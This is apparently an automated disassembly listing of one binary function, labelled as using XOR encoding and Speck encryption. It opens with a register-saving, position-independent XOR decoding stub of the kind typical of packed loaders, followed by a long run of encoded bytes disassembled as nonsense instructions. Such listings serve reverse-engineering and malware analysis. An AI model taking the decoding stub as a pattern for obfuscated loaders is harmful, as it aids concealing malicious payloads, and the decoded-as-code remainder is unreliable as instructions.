Function at 0x140aab504
Capabilities:
Encode data using xor
Encrypt data using speck

Disassembly:
jmp 0x140aab50e
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140aab537
pop rbp
sub rbp, 0x33
sub rbp, 0xaab504
sub rsp, 0x20
jmp 0x140aab556
mov rax, 0xaab504
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0x53f4d47c
invalid
xor byte [rax], dl
inc rax
dec rcx
jne 0x140aab575
jmp 0x140aab58c
xor al, 0xf5
xchg ebp, eax
div ebp
jl 0x140aab610
jl 0x140aab5ca
std
mov ebp, 0x7c7c7d74
xor al, 0x7d
xchg ebp, eax
xor al, 0xbb
mov esp, 0x7c7c7c77
xor al, 0xbb
mov esi, 0x7c7c7c54
xor al, 0x8b
sahf
xor al, 0x7d
mov ebp, 0x7c70fdf7
jl 0x140aab635
xor al, 0x7d
xchg esp, eax
sub al, 0x2c
xor al, 0xc4
sal byte [rax], 0x6a
jl 0x140aab641
jl 0x140aab643
jl 0x140aab5fd
vunpcklps ymm13, ymm9, ymm0
jl 0x140aab64b
xor al, 0x14
call 0x1bd27324d
jl 0x140aab64d
jl 0x140aab607
jge 0x140aab56a
xor al, 0xc6
invalid
cmp dword [rdi + 0x2c2e2624], 0x34
invalid
push 0x7c
jl 0x140aab687
jl 0x140aab689
xor al, 0xc5
xor al, 0x14
call 0x1bd273292
adc al, 0xe8
jl 0x140aab690
jl 0x140aab692
jl 0x140aab64c
jge 0x140aab5af
xchg esp, eax
jns 0x140aab699
jl 0x140aab69b
xchg ebp, eax
int1
jle 0x140aab69f
jl 0x140aab653
xchg esp, eax
add dword [rsp + rdi*2 + 0x7c], edi
sub esi, dword es:[rsi*8 - 0x4ab2cb55]
xor al, 0x4d
scasb al, byte [rdi]
call qword [rcx + rdi*2 + 0x73b48334]
clc
sbb byte [rsp + rdi*2 + 0x7c], bh
xchg esp, eax
jns 0x140aab66d
xor dword [rbx + rsi*2 + 0x7c7c18f8], 0x7c
jae 0x140aab637
and bh, byte [rsp + rdi*2 + 0x7c]
sbb dh, bh
invalid
mul dword [rax + 0x45]
cld
xchg dword [rbx + rsi*2 + 0x7c7c60f8], edx
xchg esp, eax
jae 0x140aab648
invalid
jl 0x140aab6cf
jl 0x140aab651
xchg dword [rbp + 0x7c6ff873], edx
jl 0x140aab6d9
sbb bh, ch
xchg dword [rbx + 0x63f87359], eax
jl 0x140aab6e3
jl 0x140aab69d
cmp dword [rbp - 0x7c7c4b6b], 0xffffff83
push rbp
xor byte [rbp + 0x7d], al
add dword [rbx + 0x45305583], 0x7d
xor al, 0xfd
mov ebp, 0x7c7c7c79
xor al, 0xfd
xchg esp, eax
js 0x140aab6fc
jl 0x140aab6fe
xchg ebp, eax
int 0x83
add dword [rbx + 0x7e452855], 0x34
push rbp
sub byte [rbp + 0x7e], al
xor al, 0xfd
jle 0x140aab6c0
std
mov ebp, 0x7c7c7c7a
jl 0x140aab70e
xor al, 0xfd
xchg esi, eax
js 0x140aab713
jl 0x140aab715
xor al, 0xfd
xchg esp, eax
jns 0x140aab71a
jl 0x140aab71b
jl 0x140aab71c
jl 0x140aab636
xchg ebp, eax
out dx, eax
add dword [rbx + 0x2abf2383], 0x2b
sub dword [rsi], ebp
xor al, 0xf5
stosd dword [rdi], eax
xor al, 0xf5
mov dl, pe_nt_image_headers64
invalid
std
mov ebx, 0x7c7c7c7d
xor al, 0xbb
mov edi, 0x7c7c7c7e
jle 0x140aab67d
jl 0x140aab748
jl 0x140aab74c
scasb al, byte [rdi]
jae 0x140aab6ca
jnp 0x140aab74f
jl 0x140aab751
imul byte [rdx + 0x34]
cmp dword [rdx - 0x8c5192], 0xffffffae
mov edx, 0xff73ae6e
scasb al, byte [rdi]
add dword [rbx + 0x73ae7e83], 0xfffffff9
scasb al, byte [rdi]
jae 0x140aab6df
jnp 0x140aab764
jl 0x140aab766
imul byte [rdx + 0x34]
cmp dword [rdx - 0x8c5192], 3
jl 0x140aab772
jl 0x140aab773
jl 0x140aab72c
xor al, 0x4d
mov esp, 0xf973ae7e
movabs r12, 0x7c7c7c7bf973ae7e
jae 0x140aab6f7
jnp 0x140aab77c
jl 0x140aab77e
imul byte [rdx + 0x34]
cmp dword [rdx - 0x8c5192], 0x1a
outsb dx, byte [rsi]
scasb al, byte [rdi]
jae 0x140aab70a
call [rdx]
sbb bh, byte [rbp + 0x7c]
jge 0x140aab78a
jl 0x140aab78e
scasb al, byte [rdi]
jae 0x140aab70c
jnp 0x140aab791
jl 0x140aab793
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0x140aab6d1
mov edx, 0x6d34ae6e
outsb dx, byte [rsi]
scasb al, byte [rdi]
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0x140aab71e
jnp 0x140aab7a3
jl 0x140aab7a5
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0x140aab6e3
mov edx, 0x6d34ae6e
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0x140aab730
jnp 0x140aab7b5
jl 0x140aab7b7
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0x140aab6f5
mov edx, 0x6d34ae6e
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0x140aab742
stc
jnp 0x140aab7c7
jl 0x140aab7c9
jl 0x140aab744
imul byte [rdx + 0x34]
push 0x34
xor al, 0x83
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jae 0x140aab751
mov edx, 0x6d34ae6e
mov esp, 0x7c74f873
je 0x140aab7d7
jl 0x140aab7d8
jl 0x140aab7d9
jl 0x140aab792
xor al, 0xf5
cmc
xchg dword [rdx*2 - 0xb800941], esi
jg 0x140aab75a
jnp 0x140aab79c
cmp dword [rbx + 0x7ebfbb34], 0x7c
jl 0x140aab7ed
mov ebx, 0x7c7c7ebf
jl 0x140aab707
xchg ebp, eax
sub eax, dword [rbx - 0x44cb7c7d]
mov esp, 0x7c7c7c7d
add dword [rbx - 0x4344cb7d], 0x7d
jl 0x140aab7f8
jl 0x140aab7fc
jle 0x140aab72d
scasb al, byte [rdi]
jae 0x140aab77a
jnp 0x140aab7ff
jl 0x140aab801
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0x140aab73f
outsb dx, byte [rsi]
scasb al, byte [rdi]
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0x140aab78c
stc
jnp 0x140aab811
jl 0x140aab813
imul byte [rdx + 0x34]
cmp dword [rdx - 0x18c5192], 0xffffffa5
outsb dx, byte [rsi]
scasb al, byte [rdi]
jae 0x140aab79e
movsd dword [rdi], dword [rsi]
add dword [rbx - 0x5baacb7d], 0x34
mov ebx, 0x7c7c7dbf
xor dword [rdx*2 - 0x4044cb5c], 0x7d
jl 0x140aab829
push rbp
movsb byte [rdi], byte [rsi]
xor al, 0xbb
mov edi, 0x7c7c7c7d
jae 0x140aab7a9
jl 0x140aab822
stc
jl 0x140aab82f
jl 0x140aab7e9
mov ebx, 0x7c7c7dbd
jge 0x140aab835
jl 0x140aab836
jl 0x140aab837
jl 0x140aab83a
jle 0x140aab76b
scasb al, byte [rdi]
jae 0x140aab7b8
jnp 0x140aab83d
jl 0x140aab83f
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffb5
jle 0x140aab77d
mov edx, 0x6d34ae6e
scasb al, byte [rdi]
xor al, 0x6d
mov ch, 0x7e
scasb al, byte [rdi]
jae 0x140aab7ca
jnp 0x140aab84f
jl 0x140aab851
imul byte [rdx + 0x34]
xor al, 0x83
cmp dword [rdx - 0x18c5192], 0xffffffa5
mov edx, 0xfe73ae6e
movsd dword [rdi], dword [rsi]
add dword [rbx - 0xacbd57d], 0xffffff82
xor al, 0x55
xchg edx, eax
invalid
movabs al, byte [0xbd34b48334838382]
add dword [rbx + 0x34b48334], 0xffffffbd
pushfq
je 0x140aab7ef
idiv byte [rdx + 0x34]
jp 0x140aab82f
cmp dword [rdx + 0x34b9f534], 0xffffffbb
mov ebp, 0x7c7c7c7d
jle 0x140aab7b7
mov edx, 0x34b9f534
mov ecx, 0x7dbdbb34
mov ebx, 0x7c7c7dbd
jl 0x140aab882
jl 0x140aab886
scasb al, byte [rdi]
jae 0x140aab804
jnp 0x140aab889
jl 0x140aab88b
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffb5
jle 0x140aab7c9
xor al, 0x83
mov edx, 0x6d34ae6e
xor al, 0x6d
mov ch, 0x7e
scasb al, byte [rdi]
jae 0x140aab816
jnp 0x140aab89b
jl 0x140aab89d
imul byte [rdx + 0x34]
push 0x34
cmp dword [rdx - 0x18c5192], 0xffffffa5
add dword [rbx - 0x7b02cb7d], 0x7c
add dword [rsp + rdi*2 + 0x34], edi
invalid
std
test byte [rcx + rax + 0x7c], bh
jl 0x140aab86a
xor al, 0xfd
std
movsd dword [rdi], dword [rsi]
add dword [rbx - 0x2cb7c7d], 0xffffff84
add dword [rbx + 0x7c84fd34], 0x79
std
test byte [rcx + rdi*2 + 0x7c], bh
jl 0x140aab878
jl 0x140aab8ba
jl 0x140aab8bf
xor al, 0xfd
std
movsd dword [rdi], dword [rsi]
add dword [rbx - 0x2cb7c7d], 0xffffff84
cld
jl 0x140aab8cc
jl 0x140aab8cd
jl 0x140aab886
xor al, 0xfd
std
lodsd eax, dword [rsi]
jl 0x140aab8d2
jl 0x140aab8d4
xor al, 0xfd
test ah, bh
jl 0x140aab8da
jl 0x140aab894
std
lodsd eax, dword [rsi]
jl 0x140aab8e0
jl 0x140aab8e2
sub dh, byte [rsi*8 - 0x45aacb7e]
invalid
xor al, 0x55
mov edx, 0x9522d88f
and al, 0x82
add dword [rbx - 0x7ccb850a], 0xffffffba
xor al, 0x4d
mov ch, 0xbc
xchg esp, eax
cmp dword [rdx - 0x434ab2cc], 0xffffff94
jge 0x140aab8f4
clc
pop rsp
jl 0x140aab901
jl 0x140aab8bb
xor al, 0xfd
std
lodsd eax, dword [rsi]
jle 0x140aab907
jl 0x140aab908
jl 0x140aab909
jl 0x140aab8c2
xor al, 0xf5
cmc
mov ecx, 0x82f5342a
xor al, 0x55
mov edx, 0x3422d88f
mov ebx, 0x7c7c7dbf
jl 0x140aab837
jge 0x140aab91b
jl 0x140aab91d
xchg ebp, eax
pop rbx
invalid
sub dword [rbx + 0x78bcbb34], 0x347cd6c9
stosd dword [rdi], eax
xor al, 0xbb
mov esp, 0x7cd6c978
xor al, 0x7d
xchg esp, eax
js 0x140aab88a
invalid
jl 0x140aab8f8
jge 0x140aab85a
xor al, 0xfd
mov esp, 0x7c7c7f96
jl 0x140aab902
xor al, 0xbb
mov ebp, 0x7c7c7e9d
mov ebx, 0x7c7e9dbd
jl 0x140aab909
jl 0x140aab950
xor al, 0xbb
mov esi, 0x188ec249
insb byte [rdi], dx
xor al, 0x83
mov esp, 0x73b58334
mov ebx, 0x8ec249be
sbb byte [rsp + rbp*2 + 0x34], cl
cmp dword [rsp + rsi - 0x68c4a7d], 0xffffff8e
add dword [rbx + 0x7c789583], 0x7c
xor al, 0x83
mov ch, 0x73
stc
mov es, word [rbx + 0x78958383]
jl 0x140aab969
jl 0x140aab928
push rcx
invalid
sal byte [rdi + 0x7537c216], 0xc2
cmc
jle 0x140aab8f7
ret 0x7537
invalid
add qword [r8 - 0x42], rcx
add dword [rax - 0x42], ecx
movabs rsi, 0xc201b94801750fc2
ret 0x750f
add dword [rax - 0x47], ecx
add edx, eax
movabs rcx, 0x149494979c9c201
sar byte [rdx - 0x3d759fff], 0x1e
ret 0x4d06
mov ecx, 0x79c9c201
add r8, rax
leave
jns 0x140aab958
add r8, rax
mov edx, 0xc28a6001
invalid
invalid
enter 0x49b3, 0x49
int 0x1a
add qword [r8 - 0x45], rcx
add qword [r8 - 0x45], rcx
add eax, ecx
mov es, word [rcx + 0x49]
add r8, rcx
movabs al, byte [0x4949b0c849494941]
int 0x98
mov dh, 0xb6
mov dh, 0x2f
ret 0x884e
mov cl, 0x43
int3
invalid
push rcx
add dword [rsi - 0x7f49fe80], esi
add eax, ecx
mov cs, word [rbx + 0x49]
movabs al, byte [0x49494da0b6b6b6f7]
in eax, dx
and al, 0x74
rol dword [rcx], 0x8e
mov dword [rbp - 4], ecx
jrcxz 0x140aab9d5
add dword [rax - 0x5f], ecx
add eax, ecx
mov edx, edi
add qword [r14 + 0x494b5188], rcx
add qword [r14 + 0xa486b8b], rcx
pushfq
jns 0x140aab9ff
add dword [rsi - 0x7f49fe77], esi
int3
and ebp, dword [rdx - 0x66]
xchg esp, eax
inc byte [rbx - 0x15940545]
xchg ebx, eax
imul ebp, dword [rbx + 0x6b], 0x6b
out dx, al
imul ebp, dword [ebx + 0x6b], 0xffffffe0
and al, 0x67
and ebp, dword [rdx - 0x66]
xchg esp, eax
invalid
imul ebp, eax, 0x14
imul ebp, dword [rbx + 0x64], 0xffffffee
invalid